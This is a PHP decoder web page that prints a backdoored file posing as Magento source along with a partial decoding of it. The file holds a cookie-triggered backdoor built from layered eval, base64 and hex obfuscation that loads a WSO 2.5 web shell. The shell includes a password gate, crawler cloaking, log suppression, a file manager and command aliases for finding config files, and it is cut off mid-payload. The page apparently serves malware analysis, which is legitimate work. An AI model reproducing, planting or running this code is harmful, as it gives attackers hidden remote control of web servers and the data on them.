Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * Copyright Magento, Inc. All rights reserved. * See COPYING.txt for licen..

Decoded Output download


function php_zencoding($data)
    {
        // Separa em dois pedaos
        $partOne = mb_substr($data, 0, 10, "utf-8");
        $partTwo = mb_substr($data, 12, null, "utf-8");
        return base64_decode($partOne . $partTwo);
    }eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdwaHBfemVuY29kaW5nJykgPT0gZmFsc2UpewpmdW5jdGlvbiBwaHBfemVuY29kaW5nKCRkYXRhKQogICAgewogICAgICAgIC8vIFNlcGFyYSBlbSBkb2lzIHBlZGHDp29zCiAgICAgICAgJHBhcnRPbmUgPSBtYl9zdWJzdHIoJGRhdGEsIDAsIDEwLCAidXRmLTgiKTsKICAgICAgICAkcGFydFR3byA9IG1iX3N1YnN0cigkZGF0YSwgMTIsIG51bGwsICJ1dGYtOCIpOwogICAgICAgIHJldHVybiBiYXNlNjRfZGVjb2RlKCRwYXJ0T25lIC4gJHBhcnRUd28pOwogICAgfQoKfQ=='));if(function_exists('php_zencoding') == false){
function php_zencoding($data)
    {
        // Separa em dois pedaos
        $partOne = mb_substr($data, 0, 10, "utf-8");
        $partTwo = mb_substr($data, 12, null, "utf-8");
        return base64_decode($partOne . $partTwo);
    }

}eval(php_zencoding('aWYgKGZ1bmSgN0aW9uX2V4aXN0cygnZnVuY19kNmNlYTk2NTUzZWZkNmNmMDkxMGY5ZDBmMTMwNGUyZScpID09IGZhbHNlKXsKICAgIGZ1bmN0aW9uIGZ1bmNfZDZjZWE5NjU1M2VmZDZjZjA5MTBmOWQwZjEzMDRlMmUoJGRhdGEsICRyZXZlcnQgPSBmYWxzZSl7CiAgICAgICAgcmV0dXJuIGJhc2VPbmUoJGRhdGEpOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfZTc3ZmRjNjIwNWIzYWU4NmMyZTgyNWZkOTgyZGNkNmYnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2U3N2ZkYzYyMDViM2FlODZjMmU4MjVmZDk4MmRjZDZmKCRkYXRhLCAkcmV2ZXJ0ID0gZmFsc2UpewogICAgICAgIHJldHVybiBiYXNlVGhyZWUoJGRhdGEpOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfNzlkM2E0MjIyMWY2YTlkOGZmOGNjMDA3NGU1ZTk3NDUnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzc5ZDNhNDIyMjFmNmE5ZDhmZjhjYzAwNzRlNWU5NzQ1KCRkYXRhLCAkcmV2ZXJ0ID0gZmFsc2UpewogICAgICAgIHJldHVybiBiYXNlT25lKCRkYXRhKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdmdW5jX2UzMzhlMzI3MWQyYTJmN2QyNTI3Zjg0MWIyMmIxOTc2JykgPT0gZmFsc2UpewogICAgZnVuY3Rpb24gZnVuY19lMzM4ZTMyNzFkMmEyZjdkMjUyN2Y4NDFiMjJiMTk3NigkZGF0YSwgJHJldmVydCA9IGZhbHNlKXsKICAgICAgICByZXR1cm4gYmFzZVRocmVlKCRkYXRhKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdmdW5jX2ZjMTc2MGJhYjNjNmYxYmM3NTYzZWQ0OWVjYjJkZDkzJykgPT0gZmFsc2UpewogICAgZnVuY3Rpb24gZnVuY19mYzE3NjBiYWIzYzZmMWJjNzU2M2VkNDllY2IyZGQ5MygkZGF0YSwgJHJldmVydCA9IGZhbHNlKXsKICAgICAgICByZXR1cm4gYmFzZVR3bygkZGF0YSk7CiAgICB9Cn0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnZnVuY19hZjdlOTU1MGIzNDZiOWJjNTc5YWEyNWU3NDlmNzdlMCcpID09IGZhbHNlKXsKICAgIGZ1bmN0aW9uIGZ1bmNfYWY3ZTk1NTBiMzQ2YjliYzU3OWFhMjVlNzQ5Zjc3ZTAoJGRhdGEsICRyZXZlcnQgPSBmYWxzZSl7CiAgICAgICAgcmV0dXJuIGJhc2VUd28oJGRhdGEpOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfODI4MzI4Njc3MjI2NmI2OWM0MGExZmExNGE0NjY1YjYnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzgyODMyODY3NzIyNjZiNjljNDBhMWZhMTRhNDY2NWI2KCRkYXRhLCAkcmV2ZXJ0ID0gZmFsc2UpewogICAgICAgIHJldHVybiBiYXNlT25lKCRkYXRhKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdmdW5jXzBiYmRhODM0MWMyYjU1YmI5NzZkOWJmOWFlNGVmMWJiJykgPT0gZmFsc2UpewogICAgZnVuY3Rpb24gZnVuY18wYmJkYTgzNDFjMmI1NWJiOTc2ZDliZjlhZTRlZjFiYigkZGF0YSwgJHJldmVydCA9IGZhbHNlKXsKICAgICAgICByZXR1cm4gYmFzZVR3bygkZGF0YSk7CiAgICB9Cn0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnZnVuY183ODY4MDFiMDg2NGU2MmU4ZDg2MmY0NTg5NTRiMmZkZicpID09IGZhbHNlKXsKICAgIGZ1bmN0aW9uIGZ1bmNfNzg2ODAxYjA4NjRlNjJlOGQ4NjJmNDU4OTU0YjJmZGYoJGRhdGEsICRyZXZlcnQgPSBmYWxzZSl7CiAgICAgICAgcmV0dXJuIGJhc2VPbmUoJGRhdGEpOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfY2M0Y2M5OGVlM2MyNzA5ZDJhYTQ5MmNiN2M0MzQxMDEnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2NjNGNjOThlZTNjMjcwOWQyYWE0OTJjYjdjNDM0MTAxKCRkYXRhLCAkcmV2ZXJ0ID0gZmFsc2UpewogICAgICAgIHJldHVybiBiYXNlVHdvKCRkYXRhKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdiYXNlT25lJykgPT0gZmFsc2UpewogICAgZnVuY3Rpb24gYmFzZU9uZSgkZGF0YSkKICAgIHsKICAgICAgICAvLyBTZXBhcmEgZW0gZG9pcyBwZWRhw6dvcwogICAgICAgICRwYXJ0T25lID0gbWJfc3Vic3RyKCRkYXRhLCAwLCAxMCwgInV0Zi04Iik7CiAgICAgICAgJHBhcnRUd28gPSBtYl9zdWJzdHIoJGRhdGEsIDEyLCBudWxsLCAidXRmLTgiKTsKICAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgkcGFydE9uZSAuICRwYXJ0VHdvKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdiYXNlVGhyZWUnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBiYXNlVGhyZWUoJGRhdGEpCiAgICB7CiAgICAgICAgLy8gU2VwYXJhIGVtIGRvaXMgcGVkYcOnb3MKICAgICAgICAkcGFydE9uZSA9IG1iX3N1YnN0cigkZGF0YSwgMCwgMTUsICJ1dGYtOCIpOwogICAgICAgICRwYXJ0VHdvID0gbWJfc3Vic3RyKCRkYXRhLCAxNywgbnVsbCwgInV0Zi04Iik7CiAgICAgICAgcmV0dXJuIGJhc2U2NF9kZWNvZGUoJHBhcnRPbmUgLiAkcGFydFR3byk7CiAgICB9Cn0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnYmFzZVR3bycpID09IGZhbHNlKXsKICAgIGZ1bmN0aW9uIGJhc2VUd28oJGRhdGEpCiAgICB7CiAgICAgICAgLy8gU2VwYXJhIGVtIGRvaXMgcGVkYcOnb3MKICAgICAgICAkcGFydE9uZSA9IG1iX3N1YnN0cigkZGF0YSwgMCwgNSwgInV0Zi04Iik7CiAgICAgICAgJHBhcnRUd28gPSBtYl9zdWJzdHIoJGRhdGEsIDcsIG51bGwsICJ1dGYtOCIpOwogICAgICAgIHJldHVybiBiYXNlNjRfZGVjb2RlKCRwYXJ0T25lIC4gJHBhcnRUd28pOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfZTIzNjgwNzk2ZjhmNWRhZmY4ZjM0NjM4MDUwZGRhOWQnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2UyMzY4MDc5NmY4ZjVkYWZmOGYzNDYzODA1MGRkYTlkKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfNmUxOTc1N2FkNjIwMWNjZjUzNDJlZDY3OTI1NzAxNGUnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzZlMTk3NTdhZDYyMDFjY2Y1MzQyZWQ2NzkyNTcwMTRlKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfODgwMThjODI0NTVjNzQ3NzgwNTc5MjBlOGE5Yzc2MTUnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzg4MDE4YzgyNDU1Yzc0Nzc4MDU3OTIwZThhOWM3NjE1KCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfODFhYTI5MjZlMzQ0NjM2YzMxZTFjOTU0MDU1Njg2YzAnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzgxYWEyOTI2ZTM0NDYzNmMzMWUxYzk1NDA1NTY4NmMwKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfODY1N2MzMTIzOTc4ZDNkMDNjZjlkOTNmM2Q0Mzk0NjInKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzg2NTdjMzEyMzk3OGQzZDAzY2Y5ZDkzZjNkNDM5NDYyKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfZDkxZjU3NWM0NDY3N2JiOTFmY2YzZjJhMTU0MDVhN2EnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2Q5MWY1NzVjNDQ2NzdiYjkxZmNmM2YyYTE1NDA1YTdhKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfYzM1MDU2YTgxOTAwMDlhMmFkMDM0MGRjYmZhNWIwZTgnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2MzNTA1NmE4MTkwMDA5YTJhZDAzNDBkY2JmYTViMGU4KCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfOTg2M2Q2ZjYxODRiYjY2ZDg4NmFjYmZmYjE2ZDJhMDgnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzk4NjNkNmY2MTg0YmI2NmQ4ODZhY2JmZmIxNmQyYTA4KCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfMGZlNzY0YmI2ZDBkMDRiZjczZjM4OTJmNzYxY2Q1OTgnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzBmZTc2NGJiNmQwZDA0YmY3M2YzODkyZjc2MWNkNTk4KCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfYTRlZTU4NzcyNTM0MDQwMmJiZWQwYmM0ZGM2MGQyMDgnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2E0ZWU1ODc3MjUzNDA0MDJiYmVkMGJjNGRjNjBkMjA4KCkgeyByZXR1cm4gVFJVRTsgfQp9'));

Did this file decode correctly?

Original Code

<?php
/**
 * Copyright  Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

if (isset($_COOKIE['antsqY9xm2vnQ'])) {
    @eval("\x40\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'aWYoZnVuY3Rpb25fZXhpc3RzKCdwaHBfemVuY29kaW5nJykgPT0gZmFsc2UpewpmdW5jdGlvbiBwaHBfemVuY29kaW5nKCRkYXRhKQogICAgewogICAgICAgIC8vIFNlcGFyYSBlbSBkb2lzIHBlZGHDp29zCiAgICAgICAgJHBhcnRPbmUgPSBtYl9zdWJzdHIoJGRhdGEsIDAsIDEwLCAidXRmLTgiKTsKICAgICAgICAkcGFydFR3byA9IG1iX3N1YnN0cigkZGF0YSwgMTIsIG51bGwsICJ1dGYtOCIpOwogICAgICAgIHJldHVybiBiYXNlNjRfZGVjb2RlKCRwYXJ0T25lIC4gJHBhcnRUd28pOwogICAgfQoKfQ=='\x29\x29\x3b"); @eval("\x40\x65\x76\x61\x6c\x28\x70\x68\x70\x5f\x7a\x65\x6e\x63\x6f\x64\x69\x6e\x67\x28'aWYgKGZ1bmSgN0aW9uX2V4aXN0cygnZnVuY19kNmNlYTk2NTUzZWZkNmNmMDkxMGY5ZDBmMTMwNGUyZScpID09IGZhbHNlKXsKICAgIGZ1bmN0aW9uIGZ1bmNfZDZjZWE5NjU1M2VmZDZjZjA5MTBmOWQwZjEzMDRlMmUoJGRhdGEsICRyZXZlcnQgPSBmYWxzZSl7CiAgICAgICAgcmV0dXJuIGJhc2VPbmUoJGRhdGEpOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfZTc3ZmRjNjIwNWIzYWU4NmMyZTgyNWZkOTgyZGNkNmYnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2U3N2ZkYzYyMDViM2FlODZjMmU4MjVmZDk4MmRjZDZmKCRkYXRhLCAkcmV2ZXJ0ID0gZmFsc2UpewogICAgICAgIHJldHVybiBiYXNlVGhyZWUoJGRhdGEpOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfNzlkM2E0MjIyMWY2YTlkOGZmOGNjMDA3NGU1ZTk3NDUnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzc5ZDNhNDIyMjFmNmE5ZDhmZjhjYzAwNzRlNWU5NzQ1KCRkYXRhLCAkcmV2ZXJ0ID0gZmFsc2UpewogICAgICAgIHJldHVybiBiYXNlT25lKCRkYXRhKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdmdW5jX2UzMzhlMzI3MWQyYTJmN2QyNTI3Zjg0MWIyMmIxOTc2JykgPT0gZmFsc2UpewogICAgZnVuY3Rpb24gZnVuY19lMzM4ZTMyNzFkMmEyZjdkMjUyN2Y4NDFiMjJiMTk3NigkZGF0YSwgJHJldmVydCA9IGZhbHNlKXsKICAgICAgICByZXR1cm4gYmFzZVRocmVlKCRkYXRhKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdmdW5jX2ZjMTc2MGJhYjNjNmYxYmM3NTYzZWQ0OWVjYjJkZDkzJykgPT0gZmFsc2UpewogICAgZnVuY3Rpb24gZnVuY19mYzE3NjBiYWIzYzZmMWJjNzU2M2VkNDllY2IyZGQ5MygkZGF0YSwgJHJldmVydCA9IGZhbHNlKXsKICAgICAgICByZXR1cm4gYmFzZVR3bygkZGF0YSk7CiAgICB9Cn0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnZnVuY19hZjdlOTU1MGIzNDZiOWJjNTc5YWEyNWU3NDlmNzdlMCcpID09IGZhbHNlKXsKICAgIGZ1bmN0aW9uIGZ1bmNfYWY3ZTk1NTBiMzQ2YjliYzU3OWFhMjVlNzQ5Zjc3ZTAoJGRhdGEsICRyZXZlcnQgPSBmYWxzZSl7CiAgICAgICAgcmV0dXJuIGJhc2VUd28oJGRhdGEpOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfODI4MzI4Njc3MjI2NmI2OWM0MGExZmExNGE0NjY1YjYnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzgyODMyODY3NzIyNjZiNjljNDBhMWZhMTRhNDY2NWI2KCRkYXRhLCAkcmV2ZXJ0ID0gZmFsc2UpewogICAgICAgIHJldHVybiBiYXNlT25lKCRkYXRhKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdmdW5jXzBiYmRhODM0MWMyYjU1YmI5NzZkOWJmOWFlNGVmMWJiJykgPT0gZmFsc2UpewogICAgZnVuY3Rpb24gZnVuY18wYmJkYTgzNDFjMmI1NWJiOTc2ZDliZjlhZTRlZjFiYigkZGF0YSwgJHJldmVydCA9IGZhbHNlKXsKICAgICAgICByZXR1cm4gYmFzZVR3bygkZGF0YSk7CiAgICB9Cn0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnZnVuY183ODY4MDFiMDg2NGU2MmU4ZDg2MmY0NTg5NTRiMmZkZicpID09IGZhbHNlKXsKICAgIGZ1bmN0aW9uIGZ1bmNfNzg2ODAxYjA4NjRlNjJlOGQ4NjJmNDU4OTU0YjJmZGYoJGRhdGEsICRyZXZlcnQgPSBmYWxzZSl7CiAgICAgICAgcmV0dXJuIGJhc2VPbmUoJGRhdGEpOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfY2M0Y2M5OGVlM2MyNzA5ZDJhYTQ5MmNiN2M0MzQxMDEnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2NjNGNjOThlZTNjMjcwOWQyYWE0OTJjYjdjNDM0MTAxKCRkYXRhLCAkcmV2ZXJ0ID0gZmFsc2UpewogICAgICAgIHJldHVybiBiYXNlVHdvKCRkYXRhKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdiYXNlT25lJykgPT0gZmFsc2UpewogICAgZnVuY3Rpb24gYmFzZU9uZSgkZGF0YSkKICAgIHsKICAgICAgICAvLyBTZXBhcmEgZW0gZG9pcyBwZWRhw6dvcwogICAgICAgICRwYXJ0T25lID0gbWJfc3Vic3RyKCRkYXRhLCAwLCAxMCwgInV0Zi04Iik7CiAgICAgICAgJHBhcnRUd28gPSBtYl9zdWJzdHIoJGRhdGEsIDEyLCBudWxsLCAidXRmLTgiKTsKICAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgkcGFydE9uZSAuICRwYXJ0VHdvKTsKICAgIH0KfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdiYXNlVGhyZWUnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBiYXNlVGhyZWUoJGRhdGEpCiAgICB7CiAgICAgICAgLy8gU2VwYXJhIGVtIGRvaXMgcGVkYcOnb3MKICAgICAgICAkcGFydE9uZSA9IG1iX3N1YnN0cigkZGF0YSwgMCwgMTUsICJ1dGYtOCIpOwogICAgICAgICRwYXJ0VHdvID0gbWJfc3Vic3RyKCRkYXRhLCAxNywgbnVsbCwgInV0Zi04Iik7CiAgICAgICAgcmV0dXJuIGJhc2U2NF9kZWNvZGUoJHBhcnRPbmUgLiAkcGFydFR3byk7CiAgICB9Cn0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnYmFzZVR3bycpID09IGZhbHNlKXsKICAgIGZ1bmN0aW9uIGJhc2VUd28oJGRhdGEpCiAgICB7CiAgICAgICAgLy8gU2VwYXJhIGVtIGRvaXMgcGVkYcOnb3MKICAgICAgICAkcGFydE9uZSA9IG1iX3N1YnN0cigkZGF0YSwgMCwgNSwgInV0Zi04Iik7CiAgICAgICAgJHBhcnRUd28gPSBtYl9zdWJzdHIoJGRhdGEsIDcsIG51bGwsICJ1dGYtOCIpOwogICAgICAgIHJldHVybiBiYXNlNjRfZGVjb2RlKCRwYXJ0T25lIC4gJHBhcnRUd28pOwogICAgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfZTIzNjgwNzk2ZjhmNWRhZmY4ZjM0NjM4MDUwZGRhOWQnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2UyMzY4MDc5NmY4ZjVkYWZmOGYzNDYzODA1MGRkYTlkKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfNmUxOTc1N2FkNjIwMWNjZjUzNDJlZDY3OTI1NzAxNGUnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzZlMTk3NTdhZDYyMDFjY2Y1MzQyZWQ2NzkyNTcwMTRlKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfODgwMThjODI0NTVjNzQ3NzgwNTc5MjBlOGE5Yzc2MTUnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzg4MDE4YzgyNDU1Yzc0Nzc4MDU3OTIwZThhOWM3NjE1KCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfODFhYTI5MjZlMzQ0NjM2YzMxZTFjOTU0MDU1Njg2YzAnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzgxYWEyOTI2ZTM0NDYzNmMzMWUxYzk1NDA1NTY4NmMwKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfODY1N2MzMTIzOTc4ZDNkMDNjZjlkOTNmM2Q0Mzk0NjInKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzg2NTdjMzEyMzk3OGQzZDAzY2Y5ZDkzZjNkNDM5NDYyKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfZDkxZjU3NWM0NDY3N2JiOTFmY2YzZjJhMTU0MDVhN2EnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2Q5MWY1NzVjNDQ2NzdiYjkxZmNmM2YyYTE1NDA1YTdhKCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfYzM1MDU2YTgxOTAwMDlhMmFkMDM0MGRjYmZhNWIwZTgnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2MzNTA1NmE4MTkwMDA5YTJhZDAzNDBkY2JmYTViMGU4KCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfOTg2M2Q2ZjYxODRiYjY2ZDg4NmFjYmZmYjE2ZDJhMDgnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzk4NjNkNmY2MTg0YmI2NmQ4ODZhY2JmZmIxNmQyYTA4KCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfMGZlNzY0YmI2ZDBkMDRiZjczZjM4OTJmNzYxY2Q1OTgnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jXzBmZTc2NGJiNmQwZDA0YmY3M2YzODkyZjc2MWNkNTk4KCkgeyByZXR1cm4gVFJVRTsgfQp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z1bmNfYTRlZTU4NzcyNTM0MDQwMmJiZWQwYmM0ZGM2MGQyMDgnKSA9PSBmYWxzZSl7CiAgICBmdW5jdGlvbiBmdW5jX2E0ZWU1ODc3MjUzNDA0MDJiYmVkMGJjNGRjNjBkMjA4KCkgeyByZXR1cm4gVFJVRTsgfQp9'\x29\x29\x3b");eval("\x40\x65\x76\x61\x6c\x28\x66\x75\x6e\x63\x5f\x61\x66\x37\x65\x39\x35\x35\x30\x62\x33\x34\x36\x62\x39\x62\x63\x35\x37\x39\x61\x61\x32\x35\x65\x37\x34\x39\x66\x37\x37\x65\x30\x28'JGF1dSgGhfcGFzcyA9ICc1YTZlZmQ5NjZmODljZWFiYWY4MjYyMjU2NGZjMzdmMSc7ICRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7ICRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsgJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOyAkY29sb3IgPSAiI2RmNSI7IGlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7ICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsgZXhpdDsgfSB9IEBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOyBAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7IEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsgQHNldF90aW1lX2xpbWl0KDApOyBAZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUnKTsgaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgeyBmdW5jdGlvbiBXU09zdHJpcHNsYXNoZXMoJGFycmF5KSB7IHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdXU09zdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7IH0gJF9QT1NUID0gV1NPc3RyaXBzbGFzaGVzKCRfUE9TVCk7ICRfQ09PS0lFID0gV1NPc3RyaXBzbGFzaGVzKCRfQ09PS0lFKTsgfSBmdW5jdGlvbiB3c29Mb2dpbigpIHsgZGllKCI8YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGRpdiBzdHlsZT1cIndpZHRoOjgwMHB4OyBtYXJnaW46MCBhdXRvO1wiPjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCBzdHlsZT1cImJvcmRlcjogbm9uZTsgYm9yZGVyLXN0eWxlOiBub25lOyBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDsgb3V0bGluZTogbm9uZTtcIiBzaXplPTUgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PC9mb3JtPjwvZGl2PiIpOyB9IGZ1bmN0aW9uIFdTT3NldGNvb2tpZSgkaywgJHYpIHsgJF9DT09LSUVbJGtdID0gJHY7IHNldGNvb2tpZSgkaywgJHYpOyB9IGlmKCFlbXB0eSgkYXV0aF9wYXNzKSkgeyBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykpIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJGF1dGhfcGFzcyk7IGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKSB3c29Mb2dpbigpOyB9IGlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikgJG9zID0gJ3dpbic7IGVsc2UgJG9zID0gJ25peCc7ICRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7IGlmKCEkc2FmZV9tb2RlKSBlcnJvcl9yZXBvcnRpbmcoMCk7ICRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyAkaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7IGlmKGlzc2V0KCRfUE9TVFsnYyddKSkgQGNoZGlyKCRfUE9TVFsnYyddKTsgJGN3ZCA9IEBnZXRjd2QoKTsgaWYoJG9zID09ICd3aW4nKSB7ICRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsgJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7IH0gaWYoJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nKSAkY3dkIC49ICcvJzsgaWYoIWlzc2V0KCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSkpICRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IChib29sKSRkZWZhdWx0X3VzZV9hamF4OyBpZigkb3MgPT0gJ3dpbicpICRhbGlhc2VzID0gYXJyYXkoICJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLCAiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwgIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3